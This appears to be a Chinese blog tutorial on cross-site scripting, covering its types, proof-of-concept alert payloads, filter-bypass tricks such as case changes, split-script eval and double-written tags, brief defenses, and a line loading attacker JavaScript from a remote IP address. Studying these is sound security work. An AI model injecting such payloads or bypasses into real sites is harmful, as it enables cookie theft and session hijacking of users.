XSS漏洞

一、介绍

XSS(Cross-site Scripting,跨站脚本攻击),Owasp Top 10 2017中排名第7。主要基于JS完成恶意攻击行为。

原因:通过将精心构造的代码注入网页中,并由浏览器运行这段代码,达到攻击效果。XSS攻击的对象是用户和用户的浏览器(前端攻击)。

主要原因是没有对攻击者的输入进行严格的过滤,微博、留言板、聊天室等收集用户信息的地方都有可能被注入XSS代码。该漏洞存在于服务器中,但是执行环境在客户端浏览器,属于被动攻击。

主要危害:盗取用户账号;窃取cookie资料,冒充用户身份进入网站;劫持用户会话,执行任意操作;刷流量,弹窗广告;传播蠕虫病毒等。

主要的角色:攻击者、浏览器(与浏览器类型、不同版本有关)、受害者(用户)。

1.攻击者将恶意代码注入到服务器,用户访问该服务器网页。

2.服务器将含有恶意代码的网页响应给客户端。

3.在客户端触发恶意JS代码并执行。

4.用户被攻击。

Poc:XSS的漏洞用一段代码,验证漏洞的存在,这样的代码叫Poc(Proof of concept概念验证)。

EXP:漏洞的完整利用工具。

shellcode:利用漏洞时执行的代码。

payload:攻击载荷。在sqlmap里是攻击模板;msf里边同shellcode,建立与目标的连接。

 

二、验证漏洞存在的Poc

<script>alert(/xss/)</script> 弹窗(常用)

<script>confirm(‘xss‘)</script> 弹出确认框

<script>prompt(‘xss‘)</script> 弹出输入框

当在浏览器上输入以上内容后,如果有相应的弹窗,代表浏览器可解析代码,即存在XSS漏洞。于是便可以提交任意恶意JS代码。

 

三、XSS漏洞分类

1.反射型XSS

代码存在于web应用的参数(变量)当中。多发于搜索框。

2.储存型XSS

代码写进数据库或文件等可以永久保存的介质中。可持久攻击(每次点开页面就执行)。多发于留言板。

3.DOM型XSS

修改受害者浏览器页面的DOM树而执行(只要修改DOM树,浏览器就会重新渲染页面),并不会传到服务器上,只在浏览器上执行,因此比较难以检测。

 

四、XSS构造

1.利用<>构造HTML标签/<script>标签。

2.伪协议

javascript: +js代码

3.产生自己的事件

事件:如鼠标移动、键盘输入等;JS可对这些事件进行响应,通过事件触发代码。

windows 事件 对windows对象

Form事件 HTML表单内的动作

keyboard事件 键盘按键

Mouse事件 鼠标或类似动作

Media事件 多媒体触发的事件

 

五、XSS变形(绕过过滤)

1.大小写转换。

2.引号的使用。应对某些过滤函数。

3.左斜线(/)代替空格。

4.利用Tab或回车符。把一行隔断开。

5.对标签属性值进行编码。

6.拆分跨站。

<script>z=‘alert‘</script>

<script>z=z+‘(/xss/)‘</script>

<script>eval(z)</script>

以上上三代码在执行时合并成一行,即:<script>alert(/xss/)</script>

7.双写绕过。

<scr<script> ipt>

 

六、XSS防御

1.使用XSS Filter(XSS过滤器),过滤客户端提交的有害信息。

(1)输入过滤:

输入是否仅包含合法字符。

输入字符串是否超过最大长度限制。

输入如果为数字,数字是否在指定的范围。

输入是否符合特殊的格式要求,如E-mail地址、IP地址等。

(2)输出编码

(3)黑白名单

 

七、远程调用shellcode

将JS代码单独存放在一个JS文件中(可以是互联网上任意一台主机地址),然后通过http协议远程加载该脚本。

例:<script src="http://172.168.111.132/XSS-text/XSS.js"></script>

八、终极代码:测试所有的过滤

<script script " ‘OOnn>

XSS漏洞

上一篇:本周小记


下一篇:Mysql replace into